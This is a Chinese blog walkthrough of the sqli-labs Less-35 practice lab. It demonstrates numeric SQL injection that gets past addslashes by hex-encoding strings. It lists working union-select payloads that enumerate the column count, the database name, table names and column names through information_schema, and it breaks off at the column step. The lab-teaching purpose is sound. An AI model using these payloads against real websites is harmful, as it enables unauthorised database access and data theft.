（手工）【sqli-labs35】宽字节、数字型、编码、报错注入

最新推荐文章于 2023-05-02 22:19:21 发布

黑色地带（崛起）

最新推荐文章于 2023-05-02 22:19:21 发布

阅读量705

点赞数 3

分类专栏： # 【全】sqlil-abs靶场文章标签： web安全数据库

本文链接：https://blog.csdn.net/qq_53079406/article/details/125792425

版权

【全】sqlil-abs靶场专栏收录该内容

37 篇文章 23 订阅

订阅专栏

一、推荐：

二、（手工）SQL注入基本步骤：

三、Less35（GET-Bypass AddSlashes(we dont need them) integer based）

3.1、简介：（宽字节注入-编码注入-报错回显-数字型注入）

一、推荐：

【SQL注入】宽字节注入：原理、利用https://blog.csdn.net/qq_53079406/article/details/125785293?spm=1001.2014.3001.5501

【SQL注入-可回显】报错注入：简介、相关函数、利用方法https://blog.csdn.net/qq_53079406/article/details/125017089?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165777639916781647571668%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165777639916781647571668&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125017089-null-null.185%5Ev2%5Econtrol&utm_term=%E6%8A%A5%E9%94%99&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/125017089?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165777639916781647571668%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165777639916781647571668&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-125017089-null-null.185%5Ev2%5Econtrol&utm_term=%E6%8A%A5%E9%94%99&spm=1018.2226.3001.4450

【SQL注入】数字型注入 & 字符型注入https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501https://blog.csdn.net/qq_53079406/article/details/125741101?spm=1001.2014.3001.5501

【WAF绕过】SQL注入、文件上传、XSShttps://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450https://blog.csdn.net/qq_53079406/article/details/124882861?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165759520116782390512182%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165759520116782390512182&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-124882861-null-null.185%5Ev2%5Econtrol&utm_term=SQL%E7%BB%95%E8%BF%87&spm=1018.2226.3001.4450

二、（手工）SQL注入基本步骤：

第一步：注入点测试

第二步：分析权限

第三步：判断字段数

第四步：爆数据库名

第五步：爆表名

第六步：爆字段名

第七步：爆数据

三、Less35（GET-Bypass AddSlashes(we dont need them) integer based）

3.1、简介：（宽字节注入-编码注入-报错回显-数字型注入）

请求方法：GET

方法：宽字节注入+闭合（数字型注入）+编码+报错回显

3.2、第一步：注入点测试

输入?id=1

后面加上单引号、双引号都报错

假设有引号闭合，注释后面

?id=1'--+

结果单双引号还是报错

报错，说明存在注入点

单双引号都报错，说明为数字型注入

（即不需要闭合）

3.3、第二步：分析过滤

方法一：

考虑一步一步将注入语句字符一个一个替换掉，直到不报错（浪费时间）

或者全部替换（如果报错，不知道哪里被过滤了）

方法二：

获取源码进行白盒审计（最优）

方法三：
eg：输入?id=and or union select --+ updatexml # extractvalue（重要的都输进去）

看输入回显过滤语句的情况

3.4、第三步：判断字段数/回显位

?id=1 union select 1,2,3 --+

回显正常

?id=1 union select 1,2,3,4 --+

报错

说明字段数为3

判断回显位

?id=-1 union select 1,2,3 --+

3.5、第四步：暴库

?id=-1 union select 1,2,database()--+

3.6、第五步：爆表名

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

'security'的单引号也会导致注入报错

可以直接进行十六进制编码,或者使用database()

3.7、第六步：爆字段

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

'user'的单引号导致注入报错，可以直接进行十六进制编码